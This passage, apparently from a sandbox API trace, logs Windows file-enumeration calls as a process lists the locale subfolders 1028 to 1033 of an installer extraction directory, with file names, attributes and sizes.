	[0041.376] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.376] FindClose (in: hFindFile=0x7431b0 | out: hFindFile=0x7431b0) returned 1
	[0041.376] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.376] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0041.376] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.376] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742c70
	[0041.377] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.377] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.378] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.378] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.378] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.378] FindClose (in: hFindFile=0x742c70 | out: hFindFile=0x742c70) returned 1
	[0041.379] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.379] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0041.379] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.379] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742fb0
	[0041.380] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.380] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.380] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.380] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.380] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.381] FindClose (in: hFindFile=0x742fb0 | out: hFindFile=0x742fb0) returned 1
	[0041.381] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.381] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0041.381] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.381] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742f70
	[0041.382] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.382] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.382] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.382] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.382] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.383] FindClose (in: hFindFile=0x742f70 | out: hFindFile=0x742f70) returned 1
	[0041.383] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.383] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0041.383] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.383] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743270
	[0041.384] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.384] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.385] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.385] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.385] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.386] FindClose (in: hFindFile=0x743270 | out: hFindFile=0x743270) returned 1
	[0041.386] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.386] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0041.386] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.386] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743130
	[0041.387] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.387] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.387] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.387] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.387] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.388] FindClose (in: hFindFile=0x743130 | out: hFindFile=0x743130) returned 1
	[0041.388] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.388] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0041.388] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.388] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743030
	[0041.389] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.389] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.390] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.390] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.390] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.391] FindClose (in: hFindFile=0x743030 | out: hFindFile=0x743030) returned 1
	[0041.391] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
